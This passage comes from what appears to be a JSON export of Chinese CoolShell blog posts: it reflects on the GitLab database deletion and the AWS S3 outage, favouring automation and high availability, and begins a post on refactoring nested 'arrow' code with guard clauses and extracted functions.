“在多数终端窗口中切换中迷失掉了”**）\n\n\n\n在恢复的过程中，他们发现只有db1.staging的数据库可以用于恢复，而其它的5种备份机制都不可用，第一个是数据库的同步，没有同步webhook，第二个是对硬盘的快照，没有对数据库做，第三个是用pg\\_dump的备份，发现版本不对（用9.2的版本去dump 9.6的数据）导致没有dump出数据，第四个S3的备份，完全没有备份上，第五个是相关的备份流程是问题百出的，只有几个粗糙的人肉的脚本和糟糕的文档，也就是说，不但是是人肉的，而且还是完全不可执行的。（**陈皓注：就算是这些备份机制都work，其实也有问题，因为这些备份大多数基本上都是24小时干一次，所以，要从这些备份恢复也一定是是要丢数据的了，只有第一个数据库同步才会实时一些**）\n\n\n最终，gitlab从db1.staging上把6个小时前的数据copy回来，结果发现速度非常的慢，备份结点只有60Mbits/S，拷了很长时间（**陈皓注：为什么不把db1.staging给直接变成生产机？因为那台机器的性能很差**）。数据现在的恢复了，不过，因为恢复的数据是6小时前的，所以，有如下的数据丢失掉了：\n\n\n* 粗略估计，有4613 的项目， 74 forks,  和 350 imports 丢失了；但是，因为Git仓库还在，所以，可以从Git仓库反向推导数据库中的数据，但是，项目中的issues等就完全丢失了。\n* 大约有±4979 提交记录丢失了（陈皓注：估计也可以用git仓库中反向恢复）。\n* 可能有 707  用户丢失了，这个数据来自Kibana的日志。\n* 在1月31日17:20 后的Webhooks 丢失了。\n\n\n因为Gitlab把整个事件的细节公开了出来，所以，也得到了很多外部的帮助，2nd Quadrant的CTO – [Simon Riggs](https://www.linkedin.com/in/simonat2ndquadrantdotcom) 在他的blog上也发布文章 [Dataloss at Gitlab](http://blog.2ndquadrant.com/dataloss-at-gitlab/) 给了一些非常不错的建议：\n\n\n* 关于PostgreSQL 9.6的数据同步hang住的问题，可能有一些Bug，正在fix中。\n* PostgreSQL有4GB的同步滞后是正常的，这不是什么问题。\n* 正常的停止从结点，会让主结点自动释放WALSender的链接数，所以，不应该重新配置主结点的 max\\_wal\\_senders 参数。但是，停止从结点时，主结点的复数连接数不会很快的被释放，而新启动的从结点又会消耗更多的链接数。他认为，Gitlab配置的32个链接数太高了，通常来说，2到4个就足够了。\n* 另外，之前gitlab配置的max\\_connections=8000太高了，现在降到2000个是合理的。\n* pg\\_basebackup 会先在主结点上建一个checkpoint，然后再开始同步，这个过程大约需要4分钟。\n* 手动的删除数据库目录是非常危险的操作，这个事应该交给程序来做。推荐使用刚release 的 [repmgr](https://www.2ndquadrant.com/en/resources/repmgr/)\n* 恢复备份也是非常重要的，所以，也应该用相应的程序来做。推荐使用 [barman](https://www.2ndquadrant.com/en/resources/barman/) （其支持S3）\n* 测试备份和恢复是一个很重要的过程。\n\n\n看这个样子，估计也有一定的原因是——Gitlab的同学对PostgreSQL不是很熟悉。\n\n\n随后，Gitlab在其网站上也开了一系列的issues，其issues列表在这里 [Write post-mortem](https://gitlab.com/gitlab-com/www-gitlab-com/issues/1108) (这个列表可能还会在不断更新中)\n\n\n* [infrastructure#1094](https://gitlab.com/gitlab-com/infrastructure/issues/1094) – Update PS1 across all hosts to more clearly differentiate between hosts and environments\n* [infrastructure#1095](https://gitlab.com/gitlab-com/infrastructure/issues/1095) – Prometheus monitoring for backups\n* [infrastructure#1096](https://gitlab.com/gitlab-com/infrastructure/issues/1096) – Set PostgreSQL’s max\\_connections to a sane value\n* [infrastructure#1097](https://gitlab.com/gitlab-com/infrastructure/issues/1097) – Investigate Point in time recovery & continuous archiving for PostgreSQL\n* [infrastructure#1098](https://gitlab.com/gitlab-com/infrastructure/issues/1098) – Hourly LVM snapshots of the production databases\n* [infrastructure#1099](https://gitlab.com/gitlab-com/infrastructure/issues/1099) – Azure disk snapshots of production databases\n* [infrastructure#1100](https://gitlab.com/gitlab-com/infrastructure/issues/1100) – Move staging to the ARM environment\n* [infrastructure#1101](https://gitlab.com/gitlab-com/infrastructure/issues/1101) – Recover production replica(s)\n* [infrastructure#1102](https://gitlab.com/gitlab-com/infrastructure/issues/1102) – Automated testing of recovering PostgreSQL database backups\n* [infrastructure#1103](https://gitlab.com/gitlab-com/infrastructure/issues/1103) – Improve PostgreSQL replication documentation/runbooks\n* [infrastructure#1104](https://gitlab.com/gitlab-com/infrastructure/issues/1104) – Kick out SSH users inactive for N minutes\n* [infrastructure#1105](https://gitlab.com/gitlab-com/infrastructure/issues/1105) – Investigate pgbarman for creating PostgreSQL backups\n\n\n从上面的这个列表中，我们可以看到一些改进措施了。挺好的，不过我觉得还不是很够。\n\n\n#### 相关的思考\n\n\n因为类似这样的事，我以前也干过（误删除过数据库，在多个终端窗口中迷失掉了自己所操作的机器……），而且我在amazon里也见过一次，在阿里内至少见过四次以上（在阿里人肉运维的误操作的事故是我见过最多的），但是我无法在这里公开分享，私下可以分享。在这里，我只想从非技术和技术两个方面分享一下我的经验和认识。\n\n\n##### 技术方面\n\n\n**人肉运维**\n\n\n一直以来，我都觉得直接到生产线上敲命令是一种非常不好的习惯。我认为，**一个公司的运维能力的强弱和你上线上环境敲命令是有关的，你越是喜欢上线敲命令你的运维能力就越弱，越是通过自动化来处理问题，你的运维能力就越强**。理由如下：\n\n\n其一，如果说对代码的改动都是一次发布的话，那么，对生产环境的任何改动（包括硬件、操作系统、网络、软件配置……），也都算是一次发布。那么这样的发布就应该走发布系统和发布流程，要被很好的测试、上线和回滚计划。关键是，走发布过程是可以被记录、追踪和回溯的，而在线上敲命令是完全无法追踪的。没人知道你敲了什么命令。\n\n\n其二，真正良性的运维能力是——人管代码，代码管机器，而不是人管机器。你敲了什么命令没人知道，但是你写个工具做变更线上系统，这个工具干了什么事，看看工具的源码就知道了。\n\n\n另外、有人说，以后不要用rm了，要用mv，还有人说，以后干这样的事时，一个人干，另一个人在旁边看，还有人说，要有一个checklist的强制流程做线上的变更，还有人说要增加一个权限系统。我觉得，这些虽然可以work，但是依然不好，再由如下：\n\n\n其一、如果要解决一个事情需要加更多的人来做的事，那这事就做成劳动密集型了。今天我们的科技就是在努力消除人力成本，而不是在增加人力成本。而做为一个技术人员，解决问题的最好方式是努力使用技术手段，而不是使用更多的人肉手段。**人类区别于动物的差别就是会发明和使用现代化的工具，而不是使用更多的人力**。另外，**这不仅仅因为是，人都是会有这样或那样的问题（疲惫、情绪化、急燥、冲动……），而机器是单一无脑不知疲惫的，更是因为，机器干活的效率和速度是比人肉高出N多倍的**。\n\n\n其二、增加一个权限系统或是别的一个watch dog的系统完全是在开倒车，权限系统中的权限谁来维护和审批？不仅仅是因为多出来的系统需要多出来的维护，关键是这个事就没有把问题解决在root上。除了为社会解决就业问题，别无好处，故障依然会发生，有权限的人一样会误操作。对于Gitlab这个问题，正如2nd Quadrant的CTO建议的那样，你需要的是一个自动化的备份和恢复的工具，而不是一个权限系统。\n\n\n其三、像使用mv而不rm，搞一个checklist和一个更重的流程，更糟糕。这里的逻辑很简单，因为，1）这些规则需要人去学习和记忆，本质上来说，你本来就不相信人，所以你搞出了一些规则和流程，而这些规则和流程的执行，又依赖于人，换汤不换药，2）另外，**写在纸面上的东西都是不可执行的，可以执行的就是只有程序，所以，为什么不把checklist和流程写成代码呢**？（你可能会说程序也会犯错，是的，程序的错误是consistent，而人的错误是inconsistent）\n\n\n最关键的是，**数据丢失有各种各样的情况，不单单只是人员的误操作，比如，掉电、磁盘损坏、中病毒等等，在这些情况下，你设计的那些想流程、规则、人肉检查、权限系统、checklist等等统统都不管用了，这个时候，你觉得应该怎么做呢？是的，你会发现，你不得不用更好的技术去设计出一个高可用的系统！别无它法。**\n\n\n#### 关于备份\n\n\n一个系统是需要做数据备份的，但是，你会发现，**Gitlab这个事中，就算所有的备份都可用，也不可避免地会有数据的丢失，或是也会有很多问题**。理由如下：\n\n\n1）备份通常来说都是周期性的，所以，如果你的数据丢失了，从你最近的备份恢复数据里，从备份时间到故障时间的数据都丢失了。\n\n\n2）备份的数据会有版本不兼容的问题。比如，在你上次备份数据到故障期间，你对数据的scheme做了一次改动，或是你对数据做了一些调整，那么，你备份的数据就会和你线上的程序出现不兼容的情况。\n\n\n3）有一些公司或是银行有灾备的数据中心，但是灾备的数据中心没有一天live过。等真正灾难来临需要live的时候，你就会发现，各种问题让你live不起来。你可以读一读几年前的这篇报道好好感受一下《[以史为鉴 宁夏银行7月系统瘫痪最新解析](http://finance.sina.com.cn/money/bank/20140804/091219903553.shtml)》\n\n\n所以，在灾难来临的时候，你会发现你所设计精良的“备份系统”或是“灾备系统”就算是平时可以工作，但也会导致数据丢失，而且可能长期不用的备份系统很难恢复（比如应用、工具、数据的版本不兼容等问题）。\n\n\n我之前写过一篇《[分布式系统的事务处理](https://coolshell.cn/articles/10910.html)》，你还记得下面这张图吗？看看 Data Loss 那一行的，在Backups, Master/Slave 和 Master/Master的架构下，都是会丢的。\n\n\n![](../wp-content/uploads/2014/01/Transaction-Across-DataCenter.jpg)\n\n\n所以说，**如果你要让你的备份系统随时都可以用，那么你就要让它随时都Live着**，而随时都Live着的多结点系统，基本上就是一个分布式的高可用的系统。因为**，数据丢失的原因有很多种，比如掉电、磁盘损坏、中病毒等等，而那些流程、规则、人肉检查、权限系统、checklist等等都只是让人不要误操作，都不管用，这个时候，你不得不用更好的技术去设计出一个高可用的系统！别无它法。（重要的事，得再说一篇）**\n\n\n另外，你可以参看我的另一篇《[关于高可用系统](https://coolshell.cn/articles/17459.html)》，这篇文章中以MySQL为例，数据库的replication也只能达到 两个9。\n\n\n**AWS 的 S3 的的高可用是4个加11个9的持久性（**所谓11个9的持久性durability，AWS是这样定义的，如果你存了1万个对象，那么丢一个的时间是1000万年**），这意味着，不仅仅只是硬盘坏，机器掉电，整个机房挂了，其保证可以承受有两个设施的数据丢失，数据还是可用的。试想，如果你把数据的可用性通过技术做到了这个份上，那么，你还怕被人误删一个结点上的数据吗？**\n\n\n##### 非技术方面\n\n\n**故障反思**\n\n\n一般说来，故障都需要反思，在Amazon，S2以上的故障都需要写COE（Correction of Errors），其中一节就是需要Ask 5 Whys，我发现在Gitlab的故障回顾的blog中第一段中也有说要在今天写个Ask 5 Whys。关于Ask 5 Whys，其实并不是亚马逊的玩法，这还是算一个业内常用的玩法，也就是说不断的为自己为为什么，直到找到问题的概本原因，这会逼着所有的当事人去学习和深究很多东西。在Wikipedia上有相关的词条 [5 Whys](https://en.wikipedia.org/wiki/5_Whys)，其中罗列了14条规则：\n\n\n1. 你需要找到正确的团队来完成这个故障反思。\n2. 使用纸或白板而不是电脑。\n3. 写下整个问题的过程，确保每个人都能看懂。\n4. 区别原因和症状。\n5. 特别注意因果关系。\n6. 说明Root Cause以及相关的证据。\n7. 5个为什么的答案需要是精确的。\n8. 寻找问题根源的步骤，而不是直接跳到结论。\n9. 要基础客观的事实、数据和知识。\n10. 评估过程而不是人。\n11. 千万不要把“人为失误”或是“工作不注意”当成问题的根源。\n12. 培养信任和真诚的气氛和文化。\n13. 不断的问“为什么”直到问题的根源被找到。这样可以保证同一个坑不会掉进去两次。\n14. 当你给出“为什么”的答案时，你应该从用户的角度来回答。\n\n\n**工程师文化**\n\n\n上述的这些观点，其实，我在我的以住的博客中都讲过很多遍了，你可以参看《[什么是工程师文化？](https://coolshell.cn/articles/17497.html)》以及《[开发团队的效率](https://coolshell.cn/articles/11656.html)》。其实，说白了就是这么一个事——**如果你是一个技术公司，你就会更多的相信技术而不是管理。相信技术会用技术来解决问题，相信管理，那就只会有制度、流程和价值观来解决问题**。\n\n\n这个道理很简单，**数据丢失有各种各样的情况，不单单只是人员的误操作，比如，掉电、磁盘损坏、中病毒等等，在这些情况下，你设计的那些流程、规则、人肉检查、权限系统、checklist等等统统都不管用，这个时候，你觉得应该怎么做呢？是的，你会发现，你不得不用更好的技术去设计出一个高可用的系统！别无它法。（重要的事得说三遍）**\n\n\n**事件公开**\n\n\n很多公司基本上都是这样的套路，首先是极力掩盖，如果掩盖不了了就开始撒谎，撒不了谎了，就“文过饰非”、“避重就轻”、“转移视线”。然而，面对危机的最佳方法就是——“多一些真诚，少一些套路”，**所谓的“多一些真诚”的最佳实践就是——“透明公开所有的信息”**，Gitlab此次的这个事给大家树立了非常好的榜样。AWS也会把自己所有的故障和细节都批露出来。\n\n\n**事情本来就做错了，而公开所有的细节，会让大众少很多猜测的空间，有利于抵制流言和黑公关，同时，还会赢得大众的理解和支持**。看看Gitlab这次还去YouTube上直播整个修复过程，是件很了不起的事，大家可以到他们的blog上看看，对于这样的透明和公开，一片好评。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![关于高可用的系统](../wp-content/uploads/2016/08/HighAvailability-BK-150x150.png)](https://coolshell.cn/articles/17459.html)[关于高可用的系统](https://coolshell.cn/articles/17459.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![IoC/DIP其实是一种管理思想](../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg)](https://coolshell.cn/articles/9949.html)[IoC/DIP其实是一种管理思想](https://coolshell.cn/articles/9949.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/6775.html)[Bret Victor – Inventing on Principle](https://coolshell.cn/articles/6775.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/5686.html)[多些时间能少写些代码](https://coolshell.cn/articles/5686.html)\nThe post [从Gitlab误删除数据库想到的](https://coolshell.cn/articles/17680.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2017-3-3 AWS 的 S3 故障回顾和思考.md",
    "content": "---\nlayout: post\ntitle: AWS 的 S3 故障回顾和思考\ndate: 2017/3/3/ 6:20:3\nupdated: 2017/3/3/ 6:20:3\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2017/03/Amazon-Web-Services-Down.png)继[Gitlab的误删除数据事件](https://coolshell.cn/articles/17680.html)没几天，“不沉航母” AWS S3 （Simple Storage Service）几天前也“沉”了4个小时，墙外的半个互联网也跟着挂了。如约，按 AWS 惯例，AWS今天给出了一个简单的故障报告《[Summary of the Amazon S3 Service Disruption in the Northern Virginia (US-EAST-1) Region](https://aws.amazon.com/cn/message/41926/)》。这个故障和简单来说和Gitlab一样，也是人员误操作。先简单的说一下这份报中说了什么。\n\n\n#### 故障原因\n\n\n简单来说，这天，有一个 AWS 工程师在调查 Northern Virginia (US-EAST-1) Region 上 S3 的一个和账务系统相关的问题，这个问题是S3的账务系统变慢了（我估计这个故障在Amazon里可能是Sev2级，Sev2级的故障在Amazon算是比较大的故障，需要很快解决），Oncall的开发工程师（注：Amazon的运维都是由开发工程师来干的，所以Amazon内部嬉称SDE-Software Developer Engineer 为 Someone Do Everything）想移除一个账务系统里的一个子系统下的一些少量的服务器（估计这些服务器上有问题，所以想移掉后重新部署），结果呢，有一条命令搞错了，导致了移除了大量的S3的控制系统。包括两个很重要的子系统：\n\n\n\n1）**一个是S3的对象索引服务（Index）**，其中存储了S3对象的metadata和位置信息。这个服务也提供了所有的 GET，LIST，PUT 和DELETE请求。\n\n\n2）**一个是S3的位置服务系统（Placement）**，这个服务提供对象的存储位置和索引服务的系统。这个系统主要是用于处理PUT新对象请求。\n\n\n这就是为什么S3不可访问的原因。\n\n\n在后面，AWS也说明了一下故障恢复的过程，其中重点提到了这点——\n\n\n虽然整个S3的是做过充分的故障设计的（注：AWS的七大Design Principle 之一 Design for Failure）—— 就算是最核心的组件或服务出问题了，系统也能恢复。但是，可能是在过去的日子里 S3 太稳定了，所以，AWS 在很长很长一段时间内都没有重启过 S3 的核心服务，而过去这几年，S3 的数据对象存储级数级的成长（S3存了什么样数量级的对象，因为在Amazon工作过，所以多大概知道是个什么数量级，这里不能说，不过，老实说，很惊人的），所以，这两个核心服务在启动时要重建并校验对象索引元数据的完整性，这个过程没想到花了这么长的时候。而Placement服务系统依赖于Index 服务，所以花了更长的时间。\n\n\n了解过系统底层的技术人员应该都知道这两个服务有多重要，简而言之，这两个系统就像是Unix/Linux文件系统中的inode，或是像HDFS里的node name，如果这些元数据丢失，那么，用户的所有数据基本上来说就等于全丢了。\n\n\n而要恢复索引系统，就像你的操作系统从异常关机后启动，文件系统要做系统自检那样，硬盘越大，文件越多，这个过程就越慢。\n\n\n另外，这次，AWS没有使用像以前那样 Outage 的故障名称，用的是 “Increased Error Rate” 这样的东西。我估计是没有把所有这两个服务删除完，估计有些用户是可以用的，有的用户是则不行了。\n\n\n#### 后续改进\n\n\n在这篇故障简报中，AWS 也提到了下面的这些改进措施——\n\n\n1）**改进运维操作工具**。对于此次故障的运维工具，有下面改进：\n\n\n* **让删除服务这个操作变慢一些**（陈皓注：这样错了也可以有时间反悔，相对于一个大规模的分布式系统，这招还是很不错的，至少在系统报警时有也可以挽救）\n\n\n* **加上一个最小资源数限制的SafeGuard**（陈皓注：就是说，任何服务在运行时都应该有一个最小资源数，分布式集群控制系统会强行维护服务正常运行的最小的一个资源数）\n\n\n* 举一反三，Review所有和其它的运维工具，保证他们也相关的检查。\n\n\n2）**改进恢复过程。**对于恢复时间过长的问题，有如下改进：\n\n\n* **分解现有厚重的重要服务成更小的单元**（在 AWS，Service是大服务，小服务被称之为 Cell），AWS 会把这几个重要的服务重构成 Cell服务。（陈皓注：这应该就是所谓的“微服务”了吧）。这样，服务粒度变小，重启也会快一些，而且还可以减少故障面（原文：blast radius – 爆炸半径）\n\n\n* **今年内完成对 Index 索引服务的分区计划**。\n\n\n \n\n\n#### 相关思考\n\n\n下面是我对这一故障的相关思考——\n\n\n0）**太喜欢像Gitlab和AWS这样的故障公开了**，那怕是一个自己人为的低级错误。不掩盖，不文过饰非，透明且诚恳。Cool!\n\n\n1）这次事件，还好没有丢失这么重要的数据，不然的话，将是灾难性的。\n\n\n2）另外，面对在 US-EASE-1 这个老牌 Region 上的海量的对象，而且能在几个小时内恢复，很不容易了。\n\n\n3）这个事件，再次映证了我在《[关于高可用的系统](https://coolshell.cn/articles/17459.html)》中提到的观点：**一个系统的高可用的因素很多，不仅仅只是系统架构，更重要的是——高可用运维**。\n\n\n4）**对于高可用的运维，平时的故障演习是很重要的。**AWS 平时应该没有相应的故障演习，所以导致要么长期不出故障，一出就出个大的让你措手不及。这点，Facebook就好一些，他们每个季度扔个骰子，随机关掉一个IDC一天。Netflix 也有相关的 Chaos Monkey，我以前在的路透每年也会做一次大规模的故障演练——灾难演习。\n\n\n5）AWS对于后续的改进可以看出他的技术范儿。可以看到其改进方案是用技术让自己的系统更为的高可用。然后，对比国内的公司对于这样的故障，基本上会是下面这样的画风：\n\n\na）加上更多更为严格的变更和审批流程，\n\n\nb）使用限制更多的权限系统和审批系统\n\n\nc）使用更多的人来干活（一个人干事，另一个人在旁边看）\n\n\nd）使用更为厚重的测试和发布过程\n\n\ne）惩罚故障人，用价值观教育工程师。\n\n\n这还是我老生长谈的那句话——**如果你是一个技术公司，你就会更多的相信技术而不是管理。相信技术会用技术来解决问题，相信管理，那就只会有制度、流程和价值观来解决问题**。（注意：这里我并没有隔离技术和管理，只是更为倾向于用技术解决问题）\n\n\n**最后，你是要建一个 “高可用的技术系统” ，还是一个 “高用的管理系统”？ ;-)**\n\n\n（全文完）\n\n\n \n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![从Gitlab误删除数据库想到的](../wp-content/uploads/2017/02/gitlab-600-150x150.jpg)](https://coolshell.cn/articles/17680.html)[从Gitlab误删除数据库想到的](https://coolshell.cn/articles/17680.html)\n* [![关于高可用的系统](../wp-content/uploads/2016/08/HighAvailability-BK-150x150.png)](https://coolshell.cn/articles/17459.html)[关于高可用的系统](https://coolshell.cn/articles/17459.html)\n* [![是微服务架构不香还是云不香？](../wp-content/uploads/2023/05/monolith.microservices-150x150.png)](https://coolshell.cn/articles/22422.html)[是微服务架构不香还是云不香？](https://coolshell.cn/articles/22422.html)\n* [![我做系统架构的一些原则](../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png)](https://coolshell.cn/articles/21672.html)[我做系统架构的一些原则](https://coolshell.cn/articles/21672.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\nThe post [AWS 的 S3 故障回顾和思考](https://coolshell.cn/articles/17737.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2017-4-5 如何重构“箭头型”代码.md",
    "content": "---\nlayout: post\ntitle: 如何重构“箭头型”代码\ndate: 2017/4/5/ 10:7:14\nupdated: 2017/4/5/ 10:7:14\nstatus: publish\npublished: true\ntype: post\n---\n\n本文主要起因是，一次在微博上和朋友关于嵌套好几层的if-else语句的代码重构的讨论（[微博原文](http://weibo.com/1401880315/ECmCW0oy2)），在微博上大家有各式各样的问题和想法。按道理来说这些都是编程的基本功，似乎不太值得写一篇文章，不过我觉得很多东西可以从一个简单的东西出发，到达本质，所以，我觉得有必要在这里写一篇的文章。不一定全对，只希望得到更多的讨论，因为有了更深入的讨论才能进步。\n\n\n文章有点长，我在文章最后会给出相关的思考和总结陈词，你可以跳到结尾。\n\n\n所谓箭头型代码，基本上来说就是下面这个图片所示的情况。\n\n\n![](../wp-content/uploads/2017/04/IMG_7411.jpg)\n\n\n那么，这样“箭头型”的代码有什么问题呢？看上去也挺好看的，有对称美。但是……\n\n\n关于箭头型代码的问题有如下几个：\n\n\n\n1）我的显示器不够宽，箭头型代码缩进太狠了，需要我来回拉水平滚动条，这让我在读代码的时候，相当的不舒服。\n\n\n2）除了宽度外还有长度，有的代码的`if-else`里的`if-else`里的`if-else`的代码太多，读到中间你都不知道中间的代码是经过了什么样的层层检查才来到这里的。\n\n\n总而言之，**“箭头型代码”如果嵌套太多，代码太长的话，会相当容易让维护代码的人（包括自己）迷失在代码中，因为看到最内层的代码时，你已经不知道前面的那一层一层的条件判断是什么样的，代码是怎么运行到这里的，所以，箭头型代码是非常难以维护和Debug的**。\n\n\n#### 微博上的案例 与 Guard Clauses\n\n\nOK，我们先来看一下微博上的那个示例，代码量如果再大一点，嵌套再多一点，你很容易会在条件中迷失掉（下面这个示例只是那个“大箭头”下的一个小箭头）\n\n\n\n```\n\nFOREACH(Ptr<WfExpression>, argument, node->arguments) {\n    int index = manager->expressionResolvings.Keys().IndexOf(argument.Obj());\n    if (index != -1) {\n        auto type = manager->expressionResolvings.Values()[index].type;\n        if (! types.Contains(type.Obj())) {\n            types.Add(type.Obj());\n            if (auto group = type->GetTypeDescriptor()->GetMethodGroupByName(L\"CastResult\", true)) {\n                int count = group->GetMethodCount();\n                for (int i = 0; i < count; i++) { auto method = group->GetMethod(i);\n                    if (method->IsStatic()) {\n                        if (method->GetParameterCount() == 1 &&\n                            method->GetParameter(0)->GetType()->GetTypeDescriptor() == description::GetTypeDescriptor<DescriptableObject>() &&\n                            method->GetReturn()->GetTypeDescriptor() != description::GetTypeDescriptor<void>() ) {\n                            symbol->typeInfo = CopyTypeInfo(method->GetReturn());\n                            break;\n                        }\n                    }\n                }\n            }\n        }\n    }\n}\n\n```\n\n上面这段代码，可以把条件反过来写，然后就可以把箭头型的代码解掉了，重构的代码如下所示：\n\n\n\n```\n\nFOREACH(Ptr<WfExpression>, argument, node->arguments) {\n    int index = manager->expressionResolvings.Keys().IndexOf(argument.Obj());\n    if (index == -1)  continue;\n    \n    auto type = manager->expressionResolvings.Values()[index].type;\n    if ( types.Contains(type.Obj()))  continue;\n    \n    types.Add(type.Obj());\n\n    auto group = type->GetTypeDescriptor()->GetMethodGroupByName(L\"CastResult\", true);\n    if  ( ! group ) continue;\n \n    int count = group->GetMethodCount();\n    for (int i = 0; i < count; i++) { auto method = group->GetMethod(i);\n        if (! method->IsStatic()) continue;\n       \n        if ( method->GetParameterCount() == 1 &&\n               method->GetParameter(0)->GetType()->GetTypeDescriptor() == description::GetTypeDescriptor<DescriptableObject>() &&\n               method->GetReturn()->GetTypeDescriptor() != description::GetTypeDescriptor<void>() ) {\n            symbol->typeInfo = CopyTypeInfo(method->GetReturn());\n            break;\n        }\n    }\n}\n\n```\n\n这种代码的重构方式叫 **Guard Clauses**\n\n\n* [Martin Fowler](https://martinfowler.com/) 的 Refactoring 的网站上有相应的说明《[Replace Nested Conditional with Guard Clauses](https://refactoring.com/catalog/replaceNestedConditionalWithGuardClauses.html)》。\n\n\n* [Coding Horror](https://blog.codinghorror.com/) 上也有一篇文章讲了这种重构的方式 —— 《[Flattening Arrow Code](https://blog.codinghorror.com/flattening-arrow-code/)》\n\n\n* [StackOverflow](http://stackoverflow.com/) 上也有相关的问题说了这种方式 —— 《[Refactor nested IF statement for clarity](http://stackoverflow.com/questions/356121/refactor-nested-if-statement-for-clarity)》\n\n\n这里的思路其实就是，**让出错的代码先返回，前面把所有的错误判断全判断掉，然后就剩下的就是正常的代码了**。\n\n\n#### 抽取成函数\n\n\n微博上有些人说，continue 语句破坏了阅读代码的通畅，我觉得他们一定没有好好读这里面的代码，其实，我们可以看到，所有的 if 语句都是在判断是否出错的情况，所以，在维护代码的时候，你可以完全不理会这些 if 语句，因为都是出错处理的，而剩下的代码都是正常的功能代码，反而更容易阅读了。当然，一定有不是上面代码里的这种情况，那么，不用continue ，我们还能不能重构呢？\n\n\n当然可以，抽成函数：\n\n\n\n```\n\nbool CopyMethodTypeInfo(auto &method, auto &group, auto &symbol) \n{\n    if (! method->IsStatic()) {\n        return true;\n    }\n    if ( method->GetParameterCount() == 1 &&\n           method->GetParameter(0)->GetType()->GetTypeDescriptor() == description::GetTypeDescriptor<DescriptableObject>() &&\n           method->GetReturn()->GetTypeDescriptor() != description::GetTypeDescriptor<void>() ) {\n        symbol->typeInfo = CopyTypeInfo(method->GetReturn());\n        return false;\n    }\n    return true;\n}\n\nvoid ExpressionResolvings(auto &manager, auto &argument, auto &symbol) \n{\n    int index = manager->expressionResolvings.Keys().IndexOf(argument.Obj());\n    if (index == -1) return;\n    \n    auto type = manager->expressionResolvings.Values()[index].type;\n    if ( types.Contains(type.Obj())) return;\n\n    types.Add(type.Obj());\n    auto group = type->GetTypeDescriptor()->GetMethodGroupByName(L\"CastResult\", true);\n    if  ( ! group ) return;\n\n    int count = group->GetMethodCount();\n    for (int i = 0; i < count; i++) { auto method = group->GetMethod(i);\n        if ( ! CopyMethodTypeInfo(method, group, symbol) ) break;\n    }\n}\n\n...\n...\nFOREACH(Ptr<WfExpression>, argument, node->arguments) {\n    ExpressionResolvings(manager, arguments, symbol)\n}\n...\n...\n\n```\n\n你发出现，抽成函数后，代码比之前变得更容易读和更容易维护了。不是吗？\n\n\n有人说：“如果代码不共享，就不要抽取成函数！”，持有这个观点的人太死读书了。函数是代码的封装或是抽象，并不一定用来作代码共享使用，函数用于屏蔽细节，让其它代码耦合于接口而不是细节实现，这会让我们的代码更为简单，简单的东西都能让人易读也易维护。这才是函数的作用。\n\n\n#### 嵌套的 if 外的代码\n\n\n微博上还有人问，原来的代码如果在各个 if 语句后还有要执行的代码，那么应该如何重构。比如下面这样的代码。\n\n\n\n```\n\n//原版\nfor(....) {\n    do_before_cond1()\n    if (cond1) {\n        do_before_cond2();\n        if (cond2) {\n            do_before_cond3();\n            if (cond3) {\n                do_something();\n            }\n            do_after_cond3();\n        }\n        do_after_cond2();\n    }\n    do_after_cond1();\n}\n```\n\n上面这段代码中的那些 `do_after_condX()` 是无论条件成功与否都要执行的。所以，我们拉平后的代码如下所示：\n\n\n\n```\n\n//重构第一版\nfor(....) {\n    do_before_cond1();\n    if ( !cond1 ) {\n        do_after_cond1();\n        continue\n    } \n    do_after_cond1();\n\n    do_before_cond2();\n    if ( !cond2 ) { \n        do_after_cond2();\n        continue;\n    }\n    do_after_cond2();\n\n    do_before_cond3();\n    if ( !cond3 ) {\n        do_after_cond3();\n        continue;\n    }\n    do_after_cond3();\n\n    do_something();  \n}\n```\n\n你会发现，上面的 `do_after_condX` 出现了两份。**如果 if 语句块中的代码改变了某些`do_after_condX`依赖的状态，那么这是最终版本。**\n\n\n但是，如果它们之前没有依赖关系的话，根据 DRY 原则，我们就可以只保留一份，那么直接掉到 if 条件前就好了，如下所示：\n\n\n\n```\n\n//重构第二版\nfor(....) {\n    do_before_cond1();\n    do_after_cond1();\n    if ( !cond1 ) continue;\n \n    do_before_cond2();\n    do_after_cond2();\n    if ( !cond2 ) continue;\n\n    do_before_cond3();\n    do_after_cond3();\n    if ( !cond3 ) continue;\n\n    do_something();  \n}\n```\n\n此时，你会说，我靠，居然，改变了执行的顺序，把条件放到 `do_after_condX()` 后面去了。这会不会有问题啊？\n\n\n其实，你再分析一下之前的代码，你会发现，本来，cond1 是判断 do\\_before\\_cond1() 是否出错的，如果有成功了，才会往下执行。而 do\\_after\\_cond1() 是无论如何都要执行的。从逻辑上来说，do\\_after\\_cond1()其实和do\\_before\\_cond1()的执行结果无关，而 cond1 却和是否去执行 